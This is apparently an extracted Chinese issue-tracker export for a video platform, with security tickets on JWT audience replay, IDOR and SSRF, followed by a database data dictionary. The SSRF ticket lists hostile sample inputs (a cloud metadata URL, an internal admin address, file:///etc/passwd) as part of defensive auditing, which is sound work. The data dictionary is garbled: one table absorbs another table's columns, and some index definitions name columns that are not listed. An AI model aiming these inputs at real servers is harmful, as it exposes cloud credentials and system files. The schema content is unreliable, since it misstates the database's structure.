描述：## 探查來源 QA 探查輪次 R18 · 多代理創作者需求評估 ## 問題描述 當 Agent-A 完成子任務並將結果傳給 Agent-B 繼續執行時 (如：腳本代理 -> 畫面渲染代理 -> 語音合成代理)，目前無任何「交棒紀錄 (handoff record)」： \* 無法知道 Agent-A 的輸出是否完整交給 Agent-B \* 無法重放 (replay) 特定代理的交棒點以排查錯誤 \* 創作者的影片產出無法追溯「哪個代理貢獻了什麼」 ## 影響場景 \* 失敗重試時無從判斷從哪個代理重新開始，只能全部重跑 (浪費算力 + 費用) \* 稽核需求：Wave T 組別成本歸因需要知道每個代理的貢獻 ## 路由缺口 (對照 AIDV-102 工作流程) AIDV-102 描述的「階3 驗證門」只針對單一 Agent 的輸出，沒有跨代理的驗證鏈。 ## 建議修復方向 \* 新增 `agent\_handoff\_log` 資料表：`from\_agent\_id, to\_agent\_id, payload\_hash, timestamp, status` \* 每次代理交棒時寫

程式碼錨點：(碼中無 AIDV-318 註記)

AIDV-319 [資安巡檢C6] /video JWT 未驗證 audience (aud) 宣告：跨服務 token 重放攻擊——healing-studio 的 JWT 可橫向重用於 /video

漏洞 · Backlog · 優先 High · labels auth.jwt,sec-patrol-c6,security

描述：## 巡檢來源 資安巡檢輪次 C6 · healing-studio 平台安全巡邏 ## 漏洞描述 目前 /video 端點在驗證 JWT 時，僅檢查簽章 (signature) 與過期時間 (exp)，未驗證 `aud` (audience) 宣告。這意味著： \* 若攻擊者持有針對其他服務 (如 healing-studio 內部 API) 所簽發的合法 JWT，可直接對 /video 端點重放，繞過 audience 限制 \* 在微服務架構中，同一 Supabase JWT 簽名密鑰用於多個服務時，此問題尤為嚴重 ## CVSS 評估 \* \*\*CVSS v3.1 分數\*\*：8.1 (High) \* \*\*攻擊向量\*\*：Network / 低複雜度 / 低特權 \* \*\*影響\*\*：機密性 (C: H)、完整性 (I: H) ## 驗證步驟 1. 從 healing-studio 內部服務取得一個合法 JWT (aud=healing-studio-internal) 2. 將此 JWT 帶入 /video 的 Authorization header 3. 若

程式碼錨點：(碼中無 AIDV-319 註記)

AIDV-320 [資安巡檢C6] /video IDOR 風險：videoProject ID 為連續整數——未授權用戶可枚舉他人專案

漏洞 · Backlog · 優先 High · labels access-control,idor,sec-patrol-c6,security

描述：## 巡檢來源 資安巡檢輪次 C6 · healing-studio 平台安全巡邏 ## 漏洞描述 觀察到 /video 的 videoProject 資源使用連續自增整數作為 ID（如 /video/project/1, /video/project/2, /video/project/3）。即使有 RLS（Supabase Row Level Security，參見 AIDV-267 正在修復），若任何公開端點、SSE stream、或 webhook callback 洩漏了 project ID，攻擊者可透過枚舉（enumeration）推測其他用戶的 project ID 並嘗試未授權存取。  
\*\*不安全直接物件參照（IDOR）\*\* 屬 OWASP Top 10 A01: Broken Access Control。## CVSS 評估 \* \*\*CVSS v3.1 分數\*\*： 6.5 (Medium-High) \*  
\*\*攻擊向量\*\*： Network / 低複雜度 / 低特權（只需有帳號）## 影響 \* 可枚舉平台所有 videoP

程式碼錨點：（碼中無 AIDV-320 註記）

AIDV-321 [資安巡檢C6] /video AI 生成端點缺少 SSRF 防護：攻擊者可注入惡意 URL 作為素材——使伺服器對內網發出請求

漏洞 · Backlog · 優先 Highest · labels critical,sec-patrol-c6,security,ssrf

描述：## 巡檢來源 資安巡檢輪次 C6 · healing-studio 平台安全巡邏 ## 漏洞描述 /video 的多模態輸入（AIDV-270 描述的功能方向）允許創作者提供外部 URL 作為影像/音訊素材，AI Director 從該 URL 抓取內容並處理。若未對輸入 URL 進行驗證與過濾，攻擊者可提交指向內網的 URL： \* `http://169.254.169.254/latest/meta-data/` — AWS/GCP metadata service，洩漏 IAM 憑證 \* `http://10.0.0.1/admin` — 內部管理介面 \* `file:///etc/passwd` — 本地文件讀取 此類攻擊稱為 \*\*SSRF（Server-Side Request Forgery）\*\*，OWASP Top 10 A10: SSRF。## CVSS 評估 \* \*\*CVSS v3.1 分數\*\*： 9.0 (Critical) \* \*\*攻擊向量\*\*： Network / 低複雜度 / 低特權 \* \*\*影響\*\*： 機密性（C

程式碼錨點：（碼中無 AIDV-321 註記）

AIDV-322 [opt] 身份驗證安全雙收斂：SSRF URL 沙箱 + JWT audience 強制驗證——一次 PR 收斂 AIDV-321/319，關閉 C6 最高威脅

故事 · 進行中 · 優先 Highest · labels convergence,jwt,opt,security,ssrf

描述：## 來源 Harvest（四模態彙整） | 模態 | 輸入來源 | 關鍵信號 | | --- | --- | --- | | \*\*安全巡檢 C6\*\* | AIDV-321 (SSRF, CVSS 9.0) | AI 生成端點無 URL 沙箱，可洩漏雲端憑證 | | \*\*安全巡檢 C6\*\* | AIDV-319 (JWT aud, CVSS 8.1) | JWT audience 未驗證，跨服務 token 重放 | | \*\*QA R18\*\* | AIDV-317 (routing gap) | Agent Capability Registry 缺口，影響任務路由安全 | | \*\*效能信號\*\* | 現有 in-progress 票況 | AIDV-275 (RLS), AIDV-283 (XSS), AIDV-295 (observability) 仍在進行，本票聚焦認證層以免與 RLS 衝突 | ## 本票目標 在\*\*單一 PR\*\* 內修復兩個 C6 最高嚴重性缺口，不觸碰 RLS 與 XSS 修復的進行中分支：### 修復 1：SSRF

程式碼錨點：（碼中無 AIDV-322 註記）

AIDV-323 [opt] 多代理路由基礎層收斂：並發鎖 + Capability Registry API——一次 PR 收斂 AIDV-316/317，解鎖 Wave T 多組別協作

故事 · Backlog · 優先 High · labels convergence,multi-agent,opt,routing,待議

描述：## 來源 Harvest（四模態彙整） | 模態 | 輸入來源 | 關鍵信號 | | --- | --- | --- | | \*\*QA R18\*\* | AIDV-316（並發控制缺失） | 多代理並行寫入同一專案，last-write-wins 資料損毀率 100% | | \*\*QA R18\*\* | AIDV-317（路由盲派） | 無 capability registry，任務無法依專長/負載最佳派工 | | \*\*QA R18\*\* | AIDV-318（交棒缺失） | 交棒紀錄缺失，本票暫不收斂（需 agent\_handoff\_log schema，待 Bruce 設計門拍板） | | \*\*效能信號\*\* | Wave T 架構需求（AIDV-296） | T-1 組別模型 Backlog，多組別協作必需並發控制作為前置 | ## 本票目標 在\*\*單一 PR\*\* 內建立多代理路由的最小基礎層：### 修復 1：樂觀鎖並發控制（收斂 AIDV-316） \*\*Supabase migration\*\*（需 Bruce 設計門確認，因為碰後

程式碼錨點：（碼中無 AIDV-323 註記）

# Part B — 資料庫逐欄位對比 (Data Dictionary)

『逐欄位級』：drizzle/schema.ts 全 87 表，逐欄列出 欄位名 / DB 欄名 / 型別 / 長度 / 約束旗標 / enum 值；並列每表索引與約束。合計 908 欄、261 索引。

## B.1 users (var: users)

欄位 19 · 索引 4 · 文件/卡提及 48 次 · 程式碼(var)引用檔 89

| 欄位名                    | DB欄名 | 型別        | 長度  | 約束                                     | enum 值            |
|------------------------|------|-----------|-----|----------------------------------------|-------------------|
| id                     | (同)  | int       |     | PK AUTO_INC                            |                   |
| openId                 | (同)  | varchar   | 64  | NOT NULL UNIQUE                        |                   |
| name                   | (同)  | text      |     |                                        |                   |
| email                  | (同)  | varchar   | 320 |                                        |                   |
| loginMethod            | (同)  | varchar   | 64  |                                        |                   |
| passwordHash           | (同)  | varchar   | 255 |                                        |                   |
| emailVerified          | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                   |
| emailVerifiedAt        | (同)  | timestamp |     |                                        |                   |
| role                   | (同)  | mysqlEnum |     | NOT NULL DEFAULT user                  | user,leader,admin |
| autoCreditEnabled      | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                   |
| autoCreditAmount       | (同)  | int       |     | NOT NULL DEFAULT 0                     |                   |
| autoCreditIntervalDays | (同)  | int       |     | NOT NULL DEFAULT 7                     |                   |
| autoCreditNextAt       | (同)  | timestamp |     |                                        |                   |
| autoCreditLastAt       | (同)  | timestamp |     |                                        |                   |
| remainingGenerations   | (同)  | int       |     | NOT NULL DEFAULT 50                    |                   |
| onboardingDone         | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                   |
| createdAt              | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                   |
| updatedAt              | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                   |
| lastSignedIn           | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                   |

```
# emailIdx: index("users_email_idx").on(table.email)
# roleIdx: index("users_role_idx").on(table.role)
# autoCreditNextAtIdx: index("users_autoCreditNextAt_idx").on(table.autoCreditNextAt)
# icsFeedTokenIdx: uniqueIndex("users_icsFeedToken_idx").on(table.icsFeedToken)
```

## B.2 agent\_preferences (var: agentPreferences)

欄位 45 · 索引 4 · 文件/卡提及 10 次 · 程式碼(var)引用檔 27

| 欄位名                     | DB欄名 | 型別        | 長度 | 約束                                 | enum 值                                              |
|-------------------------|------|-----------|----|------------------------------------|-----------------------------------------------------|
| userId                  | (同)  | int       |    | PK NOT NULL                        |                                                     |
| confirmationPolicy      | (同)  | mysqlEnum |    | NOT NULL DEFAULT confirm_high_risk | always_approve,confirm_high_risk,confirm_all>manual |
| allowedRiskLevels       | (同)  | json      |    | NOT NULL                           |                                                     |
| autoApproveTools        | (同)  | json      |    | NOT NULL                           |                                                     |
| blockedTools            | (同)  | json      |    | NOT NULL                           |                                                     |
| maxAutoStepsPerTask     | (同)  | int       |    | NOT NULL DEFAULT 5                 |                                                     |
| notifyOnCompletion      | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |
| notifyOnError           | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |
| preferredVoiceName      | (同)  | mysqlEnum |    | NOT NULL DEFAULT Puck              | Puck,Charon,Kore,Fenrir,Aoede                       |
| voiceAutoActivate       | (同)  | boolean   |    | NOT NULL DEFAULT false             |                                                     |
| workflowsEnabled        | (同)  | boolean   |    |                                    |                                                     |
| orbWelcomeMessage       | (同)  | text      |    |                                    |                                                     |
| orbShortcutEnabled      | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |
| orbProactiveSuggestions | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |
| perceptionEnabled       | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |
| perceptionStrictness    | (同)  | mysqlEnum |    | NOT NULL DEFAULT balanced          | lenient,balanced,strict                             |
| criticEnabled           | (同)  | boolean   |    | NOT NULL DEFAULT false             |                                                     |
| criticRefineBelow       | (同)  | int       |    | NOT NULL DEFAULT 75                |                                                     |
| roleAutoSwitch          | (同)  | boolean   |    | NOT NULL DEFAULT true              |                                                     |

| 欄位名                       | DB欄名 | 型別        | 長度  | 約束                       | enum 值                                                                                                        |
|---------------------------|------|-----------|-----|--------------------------|---------------------------------------------------------------------------------------------------------------|
| pacingOverride            | (同)  | mysqlEnum |     | NOT NULL DEFAULT auto    | auto,patient,balanced,impatient                                                                               |
| onboardingCompletedAt     | (同)  | timestamp |     |                          |                                                                                                               |
| specialistAutoActivate    | (同)  | boolean   |     | NOT NULL DEFAULT true    |                                                                                                               |
| specialistProactiveMode   | (同)  | boolean   |     | NOT NULL DEFAULT true    |                                                                                                               |
| specialistLearningEnabled | (同)  | boolean   |     | NOT NULL DEFAULT true    |                                                                                                               |
| disabledSpecialistAgents  | (同)  | json      |     | NOT NULL DEFAULT []      |                                                                                                               |
| userId                    | (同)  | int       |     | NOT NULL                 |                                                                                                               |
| requestType               | (同)  | mysqlEnum |     | NOT NULL                 | image_generation,video_generation, audio_generation,voice_dubbing,pr ompt_expansion,safety_check,dire ctor_ai |
| apiProvider               | (同)  | varchar   | 64  | NOT NULL                 |                                                                                                               |
| tokensUsed                | (同)  | int       |     | DEFAULT 0                |                                                                                                               |
| videoSeconds              | (同)  | int       |     | DEFAULT 0                |                                                                                                               |
| audioCharacters           | (同)  | int       |     | DEFAULT 0                |                                                                                                               |
| sunoCredits               | (同)  | int       |     | DEFAULT 0                |                                                                                                               |
| estimatedCostUsd          | (同)  | decimal   |     | DEFAULT 0                |                                                                                                               |
| requestPayload            | (同)  | json      |     |                          |                                                                                                               |
| responseStatus            | (同)  | mysqlEnum |     | NOT NULL DEFAULT success | success,failed,timeout,blocked                                                                                |
| errorMessage              | (同)  | text      |     |                          |                                                                                                               |
| generationsDeducted       | (同)  | int       |     | DEFAULT 0                |                                                                                                               |
| model                     | (同)  | varchar   | 128 |                          |                                                                                                               |
| inputTokens               | (同)  | int       |     |                          |                                                                                                               |
| outputTokens              | (同)  | int       |     |                          |                                                                                                               |
| modalityParams            | (同)  | json      |     |                          |                                                                                                               |
| costCredits               | (同)  | int       |     | NOT NULL DEFAULT 1       |                                                                                                               |
| durationMs                | (同)  | int       |     |                          |                                                                                                               |
| success                   | (同)  | boolean   |     | NOT NULL DEFAULT true    |                                                                                                               |
| createdAt                 | (同)  | timestamp |     | NOT NULL DEFAULT now()   |                                                                                                               |

```
# userIdProviderIdx: userIdProviderIdx: index("aul_userId_provider_idx").on( table.userId, table.apiProvider )
# userModalityIdx: index("amp_user_modality_idx").on( table.userId, table.modality )
# userModelIdx: index("amp_user_model_idx").on(table.userId, table.modelId)
# createdAtIdx: index("amp_created_at_idx").on(table.createdAt)
```

B.3 orb\_scheduled\_jobs (var: orbScheduledJobs)

欄位 11 · 索引 1 · 文件/卡提及 13 次 · 程式碼(var)引用檔 3

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                                     | enum 值 |
|-----------------|------|-----------|-----|----------------------------------------|--------|
| id              | (同)  | varchar   | 128 | PK                                     |        |
| userId          | (同)  | int       |     | NOT NULL                               |        |
| cronExpression  | (同)  | varchar   | 128 | NOT NULL                               |        |
| taskDescription | (同)  | text      |     | NOT NULL                               |        |
| enabled         | (同)  | boolean   |     | NOT NULL DEFAULT true                  |        |
| lastRunAt       | (同)  | timestamp |     |                                        |        |
| lastError       | (同)  | text      |     |                                        |        |
| lastResult      | (同)  | text      |     |                                        |        |
| lastRunStatus   | (同)  | varchar   | 32  |                                        |        |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |        |
| updatedAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("orb_scheduled_jobs_user_id_idx").on(table.userId)
```

B.4 password\_reset\_tokens (var: passwordResetTokens)

欄位 6 · 索引 3 · 文件/卡提及 2 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度  | 約束                     | enum 值 |
|-----------|------|-----------|-----|------------------------|--------|
| id        | (同)  | int       |     | PK AUTO_INC            |        |
| userId    | (同)  | int       |     | NOT NULL               |        |
| tokenHash | (同)  | varchar   | 128 | NOT NULL UNIQUE        |        |
| expiresAt | (同)  | timestamp |     | NOT NULL               |        |
| used      | (同)  | boolean   |     | NOT NULL DEFAULT false |        |
| createdAt | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |

```
# userIdIdx: index("prt_userId_idx").on(table.userId)
# tokenHashIdx: index("prt_tokenHash_idx").on(table.tokenHash)
# expiresAtIdx: index("prt_expiresAt_idx").on(table.expiresAt)
```

B.5 email\_verification\_tokens (var: emailVerificationTokens)

欄位 7 · 索引 3 · 文件/卡提及 4 次 · 程式碼(var)引用檔 0

| 欄位名       | DB欄名 | 型別        | 長度  | 約束                     | enum 值 |
|-----------|------|-----------|-----|------------------------|--------|
| id        | (同)  | int       |     | PK AUTO_INC            |        |
| userId    | (同)  | int       |     | NOT NULL               |        |
| newEmail  | (同)  | varchar   | 320 | NOT NULL               |        |
| tokenHash | (同)  | varchar   | 128 | NOT NULL UNIQUE        |        |
| expiresAt | (同)  | timestamp |     | NOT NULL               |        |
| used      | (同)  | boolean   |     | NOT NULL DEFAULT false |        |
| createdAt | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |

```
# userIdIdx: index("evt_userId_idx").on(table.userId)
# tokenHashIdx: index("evt_tokenHash_idx").on(table.tokenHash)
# expiresAtIdx: index("evt_expiresAt_idx").on(table.expiresAt)
```

B.6 login\_history (var: loginHistory)

欄位 13 · 索引 3 · 文件/卡提及 14 次 · 程式碼(var)引用檔 4

| 欄位名           | DB欄名 | 型別        | 長度  | 約束                     | enum 值 |
|---------------|------|-----------|-----|------------------------|--------|
| id            | (同)  | int       |     | PK AUTO_INC            |        |
| userId        | (同)  | int       |     | NOT NULL               |        |
| email         | (同)  | varchar   | 320 |                        |        |
| success       | (同)  | boolean   |     | NOT NULL DEFAULT true  |        |
| ipAddress     | (同)  | varchar   | 45  |                        |        |
| userAgent     | (同)  | text      |     |                        |        |
| device        | (同)  | varchar   | 100 |                        |        |
| browser       | (同)  | varchar   | 100 |                        |        |
| os            | (同)  | varchar   | 100 |                        |        |
| country       | (同)  | varchar   | 100 |                        |        |
| city          | (同)  | varchar   | 100 |                        |        |
| failureReason | (同)  | varchar   | 255 |                        |        |
| createdAt     | (同)  | timestamp |     | NOT NULL DEFAULT now() |        |

```
# userIdIdx: index("lh_userId_idx").on(table.userId)
# userIdCreatedAtIdx: index("lh_userId_createdAt_idx").on( table.userId, table.createdAt )
# emailIdx: index("lh_email_idx").on(table.email)
```

B.7 background\_jobs (var: backgroundJobs)

欄位 10 · 索引 2 · 文件/卡提及 44 次 · 程式碼(var)引用檔 18

| 欄位名     | DB欄名 | 型別        | 長度 | 約束                      | enum 值                                                                                      |
|---------|------|-----------|----|-------------------------|---------------------------------------------------------------------------------------------|
| id      | (同)  | int       |    | PK AUTO_INC             |                                                                                             |
| userId  | (同)  | int       |    | NOT NULL                |                                                                                             |
| jobType | (同)  | mysqlEnum |    | NOT NULL                | image,video,audio,voice,zip_export,multimodal,model_training,teachin<br>g_archive_ingestion |
| status  | (同)  | mysqlEnum |    | NOT NULL DEFAULT queued | queued,processing,completed,faile<br>d,cancelled                                            |

| 欄位名             | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------------|------|-----------|----|----------------------------------------|--------|
| progress        | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| progressMessage | (同)  | text      |    |                                        |        |
| resultUson      | (同)  | json      |    |                                        |        |
| errorMessage    | (同)  | text      |    |                                        |        |
| createdAt       | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt       | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdStatusIdx: index("userId_status_idx").on(table.userId, table.status)
# userIdCreatedAtIdx: index("userId_createdAt_idx").on( table.userId, table.createdAt )
```

B.8 digital\_asset\_library (var: digitalAssetLibrary)

欄位 23 · 索引 6 · 文件/卡提及 85 次 · 程式碼(var)引用檔 8

| 欄位名              | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                    |
|------------------|------|-----------|-----|----------------------------------------|-------------------------------------------|
| id               | (同)  | int       |     | PK AUTO_INC                            |                                           |
| userId           | (同)  | int       |     | NOT NULL                               |                                           |
| title            | (同)  | varchar   | 255 | NOT NULL                               |                                           |
| description      | (同)  | text      |     |                                        |                                           |
| assetType        | (同)  | mysqlEnum |     | NOT NULL                               | image,video,audio,voice,script,zip_bundle |
| fileUrl          | (同)  | text      |     |                                        |                                           |
| fileKey          | (同)  | text      |     |                                        |                                           |
| thumbnailUrl     | (同)  | text      |     |                                        |                                           |
| mimeType         | (同)  | varchar   | 128 |                                        |                                           |
| fileSizeBytes    | (同)  | int       |     |                                        |                                           |
| promptUsed       | (同)  | text      |     |                                        |                                           |
| isPublicRecycled | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                                           |
| visibility       | (同)  | mysqlEnum |     | NOT NULL DEFAULT private               | private,team_shared                       |
| rewardCredits    | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                           |
| category         | (同)  | varchar   | 64  |                                        |                                           |
| modelId          | (同)  | varchar   | 128 |                                        |                                           |
| backgroundJobId  | (同)  | int       |     |                                        |                                           |
| provider         | (同)  | varchar   | 32  |                                        |                                           |
| archivedAt       | (同)  | timestamp |     |                                        |                                           |
| expiresAt        | (同)  | timestamp |     |                                        |                                           |
| archivalChecksum | (同)  | varchar   | 64  |                                        |                                           |
| createdAt        | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                           |
| updatedAt        | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                           |

```
# userIdIdx: index("dal_userId_idx").on(table.userId)
# userIdAssetTypeIdx: index("dal_userId_assetType_idx").on( table.userId, table.assetType )
# userIdCreatedAtIdx: index("dal_userId_createdAt_idx").on( table.userId, table.createdAt )
# userIdCategoryIdx: index("dal_userId_category_idx").on( table.userId, table.category )
# userIdSourceStudioIdx: index("dal_userId_sourceStudio_idx").on( table.userId, table.sourceStudio )
# archivedNullCreatedAtIdx: index("dal_archivedNull_createdAt_idx").on( sql`(\`archivedAt\` IS NULL)`, table.createdAt )
```

B.9 fine\_tuned\_models (var: fineTunedModels)

欄位 11 · 索引 3 · 文件/卡提及 5 次 · 程式碼(var)引用檔 10

| 欄位名         | DB欄名 | 型別        | 長度  | 約束                       | enum 值                                                                   |
|-------------|------|-----------|-----|--------------------------|--------------------------------------------------------------------------|
| id          | (同)  | int       |     | PK AUTO_INC              |                                                                          |
| userId      | (同)  | int       |     | NOT NULL                 |                                                                          |
| name        | (同)  | varchar   | 255 | NOT NULL                 |                                                                          |
| description | (同)  | text      |     |                          |                                                                          |
| modelType   | (同)  | mysqlEnum |     | NOT NULL                 | image_subject,voice_clone,style_lora,scene_lora,video_lora,portrait_lora |
| status      | (同)  | mysqlEnum |     | NOT NULL DEFAULT pending | pending,training,ready,failed                                            |

| 欄位名        | DB欄名 | 型別        | 長度 | 約束                                     | enum 值              |
|------------|------|-----------|----|----------------------------------------|---------------------|
| fileUrl    | (同)  | text      |    |                                        |                     |
| configJson | (同)  | json      |    |                                        |                     |
| visibility | (同)  | mysqlEnum |    | NOT NULL DEFAULT private               | private,team_shared |
| createdAt  | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                     |
| updatedAt  | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                     |

```
# userIdStatusIdx: index("ftm_userId_status_idx").on( table.userId, table.status )
# userIdCreatedAtIdx: index("ftm_userId_createdAt_idx").on( table.userId, table.createdAt )
# teamIdIdx: index("ftm_teamId_idx").on(table.teamId)
```

## B.10 project\_notes\_calendar (var: projectNotesCalendar)

欄位 15 · 索引 5 · 文件/卡提及 17 次 · 程式碼(var)引用檔 5

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                     |
|-----------------|------|-----------|-----|----------------------------------------|----------------------------|
| id              | (同)  | int       |     | PK AUTO_INC                            |                            |
| userId          | (同)  | int       |     | NOT NULL                               |                            |
| title           | (同)  | varchar   | 255 | NOT NULL                               |                            |
| content         | (同)  | text      |     |                                        |                            |
| scriptJson      | (同)  | json      |     |                                        |                            |
| noteType        | (同)  | mysqlEnum |     | NOT NULL DEFAULT note                  | note,script,calendar_event |
| status          | (同)  | mysqlEnum |     | NOT NULL DEFAULT todo                  | todo,in_progress,done      |
| scheduledDate   | (同)  | timestamp |     |                                        |                            |
| endDate         | (同)  | timestamp |     |                                        |                            |
| reminderMinutes | (同)  | int       |     |                                        |                            |
| location        | (同)  | json      |     |                                        |                            |
| meetingUrl      | (同)  | varchar   | 512 |                                        |                            |
| tags            | (同)  | json      |     |                                        |                            |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                            |
| updatedAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                            |

```
# userIdIdx: index("pnc_userId_idx").on(table.userId)
# userIdNoteTypeIdx: index("pnc_userId_noteType_idx").on( table.userId, table.noteType )
# userIdScheduledDateIdx: index("pnc_userId_scheduledDate_idx").on( table.userId, table.scheduledDate )
# userIdStatusIdx: index("pnc_userId_status_idx").on( table.userId, table.status )
# userIdCategoryIdx: index("pnc_userId_category_idx").on( table.userId, table.category )
```

## B.11 user\_google\_oauth\_tokens (var: userGoogleOAuthTokens)

欄位 10 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名          | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|--------------|------|-----------|----|----------------------------------------|--------|
| id           | (同)  | int       |    | PK AUTO_INC                            |        |
| userId       | (同)  | int       |    | NOT NULL                               |        |
| purpose      | (同)  | varchar   | 32 | NOT NULL DEFAULT drive                 |        |
| accessToken  | (同)  | text      |    | NOT NULL                               |        |
| refreshToken | (同)  | text      |    |                                        |        |
| scope        | (同)  | text      |    | NOT NULL                               |        |
| tokenType    | (同)  | varchar   | 32 | NOT NULL DEFAULT Bearer                |        |
| expiresAt    | (同)  | timestamp |    |                                        |        |
| createdAt    | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt    | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("user_google_oauth_tokens_user_idx").on(table.userId)
# userPurposeUk: uniqueIndex("user_google_oauth_tokens_user_purpose_uk").on( table.userId, table.purpose )
```

## B.12 drive\_asset\_libraries (var: driveAssetLibraries)

欄位 8 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                                     | enum 值               |
|-----------------|------|-----------|-----|----------------------------------------|----------------------|
| id              | (同)  | int       |     | PK AUTO_INC                            |                      |
| userId          | (同)  | int       |     | NOT NULL                               |                      |
| label           | (同)  | varchar   | 128 | NOT NULL                               |                      |
| kind            | (同)  | mysqlEnum |     | NOT NULL DEFAULT shoot                 | shoot,personal,other |
| driveFolderId   | (同)  | varchar   | 128 | NOT NULL                               |                      |
| driveFolderName | (同)  | varchar   | 255 |                                        |                      |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                      |
| updatedAt       | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                      |

```
# userIdx: index("drive_asset_libraries_user_idx").on(table.userId)
```

```
# userKindIdx: index("drive_asset_libraries_user_kind_idx").on( table.userId, table.kind )
```

## B.13 user\_feedback\_reports (var: userFeedbackReports)

欄位 9 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名         | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                    |
|-------------|------|-----------|-----|----------------------------------------|-------------------------------------------|
| id          | (同)  | int       |     | PK AUTO_INC                            |                                           |
| userId      | (同)  | int       |     | NOT NULL                               |                                           |
| category    | (同)  | mysqlEnum |     | NOT NULL DEFAULT general               | bug,feature_request,quality_issue,general |
| title       | (同)  | varchar   | 255 | NOT NULL                               |                                           |
| description | (同)  | text      |     |                                        |                                           |
| status      | (同)  | mysqlEnum |     | NOT NULL DEFAULT open                  | open,in_progress,resolved,closed          |
| priority    | (同)  | mysqlEnum |     | NOT NULL DEFAULT medium                | low,medium,high,critical                  |
| createdAt   | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                           |
| updatedAt   | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                           |

```
# userIdStatusIdx: index("userId_status_idx").on(table.userId, table.status)
```

```
# userIdCreatedAtIdx: index("userId_createdAt_idx").on( table.userId, table.createdAt )
```

## B.14 api\_usage\_logs (var: apiUsageLogs)

欄位 21 · 索引 2 · 文件/卡提及 8 次 · 程式碼(var)引用檔 6

| 欄位名                 | DB欄名 | 型別        | 長度  | 約束                       | enum 值                                                                                                      |
|---------------------|------|-----------|-----|--------------------------|-------------------------------------------------------------------------------------------------------------|
| id                  | (同)  | int       |     | PK AUTO_INC              |                                                                                                             |
| userId              | (同)  | int       |     | NOT NULL                 |                                                                                                             |
| requestType         | (同)  | mysqlEnum |     | NOT NULL                 | image_generation,video_generation, audio_generation,voice_dubbing,prompt_expansion,safety_check,director_ai |
| apiProvider         | (同)  | varchar   | 64  | NOT NULL                 |                                                                                                             |
| tokensUsed          | (同)  | int       |     | DEFAULT 0                |                                                                                                             |
| videoSeconds        | (同)  | int       |     | DEFAULT 0                |                                                                                                             |
| audioCharacters     | (同)  | int       |     | DEFAULT 0                |                                                                                                             |
| sunoCredits         | (同)  | int       |     | DEFAULT 0                |                                                                                                             |
| estimatedCostUsd    | (同)  | decimal   |     | DEFAULT 0                |                                                                                                             |
| requestPayload      | (同)  | json      |     |                          |                                                                                                             |
| responseStatus      | (同)  | mysqlEnum |     | NOT NULL DEFAULT success | success,failed,timeout,blocked                                                                              |
| errorMessage        | (同)  | text      |     |                          |                                                                                                             |
| generationsDeducted | (同)  | int       |     | DEFAULT 0                |                                                                                                             |
| model               | (同)  | varchar   | 128 |                          |                                                                                                             |
| inputTokens         | (同)  | int       |     |                          |                                                                                                             |
| outputTokens        | (同)  | int       |     |                          |                                                                                                             |
| modalityParams      | (同)  | json      |     |                          |                                                                                                             |
| costCredits         | (同)  | int       |     | NOT NULL DEFAULT 1       |                                                                                                             |

| 欄位名        | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|------------|------|-----------|----|------------------------|--------|
| durationMs | (同)  | int       |    |                        |        |
| success    | (同)  | boolean   |    | NOT NULL DEFAULT true  |        |
| createdAt  | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# userIdCreatedAtIdx: index("aul_userId_createdAt_idx").on( table.userId, table.createdAt )
# userIdProviderIdx: index("aul_userId_provider_idx").on( table.userId, table.apiProvider )
```

B.15 consistency\_vault (var: consistencyVault)

欄位 10 · 索引 2 · 文件/卡提及 36 次 · 程式碼(var)引用檔 2

| 欄位名       | DB欄名 | 型別        | 長度  | 約束                                     | enum 值          |
|-----------|------|-----------|-----|----------------------------------------|-----------------|
| id        | (同)  | int       |     | PK AUTO_INC                            |                 |
| userId    | (同)  | int       |     | NOT NULL                               |                 |
| name      | (同)  | varchar   | 256 | NOT NULL                               |                 |
| itemType  | (同)  | mysqlEnum |     | NOT NULL                               | character,scene |
